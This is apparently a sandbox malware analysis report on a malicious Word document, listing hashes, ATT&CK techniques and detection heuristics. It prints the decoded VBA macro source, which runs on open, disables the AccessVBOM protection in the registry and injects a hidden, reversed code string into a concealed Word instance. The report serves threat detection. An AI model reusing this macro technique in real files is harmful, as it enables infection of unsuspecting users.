Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 baa60e11cf5e4d70…

MALICIOUS

Office (OOXML)

75.9 KB Created: 2021-05-06 08:09:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: ff878c1b8ca6c805e63a004379da58ce SHA-1: 77bc1112976c2c457500aec41adbe99d4fdcdc02 SHA-256: baa60e11cf5e4d7019a637b30c4203b6860160d950827b0ee7f4b86a94886e96
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro triggers the execution of VBA code that uses 'WScript.Shell' and 'CreateObject' to write a registry value. The script attempts to write to 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM', likely to establish persistence or modify security settings. The presence of 'Shell()' and 'CreateObject' calls suggests the potential for downloading and executing further stages.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub copyStorageButton(storageLocalBorder, buttonClear)
With CreateObject("wscript.shell")
.RegWrite storageLocalBorder, buttonClear, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub exceptionCollectionMain(tempSwap As String)
Set localLoad = CreateObject("word.application")
With localLoad.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "funcIndex"
Sub autoopen()
mainExceptionClear 1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1988 bytes
SHA-256: 40dd327ce1f5846226226c345bf29933405d8488bb22c71f110d4ad75e029cb6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{824ACFCB-7069-4CFA-AA66-8AAA463C0E3D}{0674760F-69AF-49B6-983B-128FD8D2A5AC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "funcIndex"
Sub autoopen()
mainExceptionClear 1
Dim funcBufNext As String
funcBufNext = AQuery
exceptionCollectionMain funcBufNext
End Sub

Attribute VB_Name = "vbAIterator"
Sub exceptionCollectionMain(tempSwap As String)
Set localLoad = CreateObject("word.application")
With localLoad.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString tempSwap
End With
localLoad.Visible = False
localLoad.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "ExRight"
Function collectionConst() As String
collectionConst = Application.Version
End Function
Sub copyStorageButton(storageLocalBorder, buttonClear)
With CreateObject("wscript.shell")
.RegWrite storageLocalBorder, buttonClear, "REG_DWORD"
End With
End Sub
Function documentCounter(storageLocalBorder)
documentCounter = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
End Function
Function namespaceData(storageLocalBorder)
namespaceData = "\Word\Security\AccessVBOM"
End Function
Sub mainExceptionClear(buttonClear)
storageLocalBorder = documentCounter("indexStructArgument")
localText = collectionConst
indexPtrBuf = namespaceData("indexStructArgument")
copyStorageButton storageLocalBorder & localText & indexPtrBuf, buttonClear
End Sub
Function AQuery()
AQuery = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 23031d9b2d90e32b9042afd249400f6a19ae7091dc86a25adec7859f5162be8d

Open this report in the interactive analyzer, or submit your own file for analysis.